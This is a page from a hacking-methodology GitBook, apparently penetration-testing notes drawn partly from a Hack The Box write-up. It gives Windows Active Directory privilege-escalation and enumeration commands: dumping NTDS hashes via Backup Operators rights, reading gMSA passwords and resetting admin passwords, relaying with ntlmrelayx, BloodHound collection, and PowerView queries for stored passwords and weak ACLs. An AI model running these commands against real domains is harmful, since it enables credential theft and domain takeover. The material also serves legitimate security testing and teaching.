🤑
hacking-methodology
Github
  • README
  • Reconnaissance
    • Web
    • Web attacks
      • CRLF Injection
      • IDOR
      • File Inclusion
      • File Upload
      • SSRF
      • CSRF
      • XSS
    • Databases
    • DBMS
      • MySQL
      • MSSQL
      • ORACLE
      • REDIS
      • MongoDB
      • SQLite
    • Windows
    • Other technologies
  • Privilege Escalation
    • Linux
      • Path Hijacking
      • Shared Library Misconfigurations
      • USBCreator D-Bus
    • Windows
      • Active Directory Enumeration
      • Services & Features
  • Binary Exploitation
    • Format String Vulnerability
  • Miscellaneous
    • Universal Tools and Resources
    • Methodology, Tricks & Common sense
  • Language Specific Exploits
    • Python
      • Data Model Parsing (pytorch / pickle)
Powered by GitBook
On this page
  • Privileged Groups
  • AD Recycle Bin
  • Remote Management Users
  • AD Backup Operators
  • gMSA
  • Interesting Account Names
  • AD Support Accounts
  • BloodHound
  • Ingestors
  • Powerview
  • Enumeration
  1. Privilege Escalation
  2. Windows

Active Directory Enumeration

Privileged Groups

AD Recycle Bin

A user in the group is allowed to read / recover deleted AD objects.

Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *

Remote Management Users

Members of this group can access PCs over WinRM

Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName <pc_name> -GroupName "Remote Management Users"

AD Backup Operators

Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files

# Import libraries
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

# Enable SeBackupPrivilege
Set-SeBackupPrivilege
Get-SeBackupPrivilege

Get Hashes from .dit File

# REMOTE

## Download .dit file (assuming evil-winrm is used)
download <database_file>

## Get system HIVE
reg.exe save hklm\system <destination>

# LOCAL (after file downloads)
secretsdump.py -system <system_hive> -ntds <database_file> LOCAL

gMSA

(ReadGMSAPassword abuse) Group Managed Service Accounts (gMSA) are where Windows servers manage the password for an account by generating a long random password for it.

Get Password (locally)

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity <user> -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp

# Save the password to variables
(ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword 
$password = (ConvertFrom-ADManagedPasswordBlob $mp).CurrentPassword
$SecPass = (ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword

# Reset password of admin if the compromised user has GenericAll permissions
$cred = New-Object System.Management.Automation.PSCredential <user>, $SecPass
Invoke-Command -ComputerName 127.0.0.1 -ScriptBlock {Set-ADAccountPassword -Identity <admin_user> -reset -NewPassword (ConvertTo-SecureString -AsPlainText 'PASSWORD' -force)} -Credential $cred

impacket-ntlmrelayx

ntlmrelayx.py --dump-gmsa --no-dump --no-da --no-acl --no-validate-privs -debug -t ldaps://<ip>

GMSAPasswordReader

/GMSAPasswordReader --AccountName <name>

Interesting Account Names

AD Support Accounts

Often we have the credentials belonging to limited administrative accounts such as IT, helpdesk or support. Sometimes, these accounts have an ability to reset passwords. Note that the wording of the account name might be different, but related to aforementioned names

setuserinfo2 <user> 23 <password>

BloodHound

BloodHound is used to visualise AD environments and discover attack paths.

Ingestors

SharpHound

Local data collector for BloodHound

bloodhound.py

Python based data collection tool for BloodHound This will run against the domain, so can one run it from a remote machine.

bloodhound-python -u <username> -p <password> -d <domain> -c All -ns <nameserver_ip>                

Powerview

Enumeration

# Basic domain info
Get-NetDomain

# Users
## Basic user enabled infos
Get-NetUser -UACFilter NOT_ACCOUNTDISABLE | select samaccountname, description, pwdlastset, logoncount, badpwdcount

# Groups
Get-NetGroup | select samaccountname, admincount, description

# Computers
Get-NetComputer | select samaccountname, operatingsystem
## Find computers with Constrained Delegation
Get-NetComputer -TrustedToAuth | select samaccountname #Find computers with Constrained Delegation
## Find any machine accounts in privileged groups
Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}

# Shares
Find-DomainShare -CheckShareAccess

# Check if any user passwords are set
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl

# Asks DC for all computers, and asks every computer if it has admin access (very noisy). You need RCP and SMB ports opened.
Find-LocalAdminAccess

# Find interesting ACLs
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
Find-InterestingDomainAcl
Find-InterestingDomainAcl -Domain your.domain -ResolveGUIDs
## For a specific user
Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "USERNAME"}
PreviousWindowsNextServices & Features

Last updated 5 months ago

This solution is taken from:

SeBackupPrivilege DLLs
https://0xdf.gitlab.io/2022/04/30/htb-search.html#get-password
Documentation
Reset password through RPC
Documentation
Documentation
Releases
Documentation
Github
More help